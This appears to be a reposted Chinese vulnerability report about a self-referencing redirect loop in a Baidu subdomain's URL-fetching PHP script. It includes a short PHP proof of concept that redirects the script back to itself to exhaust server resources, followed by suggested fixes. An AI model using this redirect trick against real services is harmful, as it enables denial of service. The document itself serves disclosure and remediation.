好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

百度某分站程序逻辑问题,导致dos攻击 - 网站安

http://tcfile.baidu.com/index.php?url=url

这个url设计的本意是给手机用户提供一个访问电脑上才能流量的网页的接口。

但是这个页面在获取url对应内容时,存在一处问题,配合上php脚本执行超时时间设置不当,会形成严重的 dos

 

index.php在抓取url页面时,会follow http的302转向,如果转向地址为页面本身,则index.php会对自己服务器又发出一次相同的请求

POC:

http://tcfile.baidu.com/index.php?url=http://somesite/somepage

 

其中http://somesite/sompage的php代码为

 

<?php

    header("Location: http://tcfile.baidu.com/index.php?url=http://somesite/somepage");

?>

 

 

此为正常访问之页面

 

 

 

此为DOS攻击发动,将服务器资源消耗殆尽时,http链接被终止掉的页面   

修复方案: 很多办法,设置php链接超时,cache,重复的请求不响应这些都是可以的。

 

查看更多关于百度某分站程序逻辑问题,导致dos攻击 - 网站安的详细内容...

  阅读:53次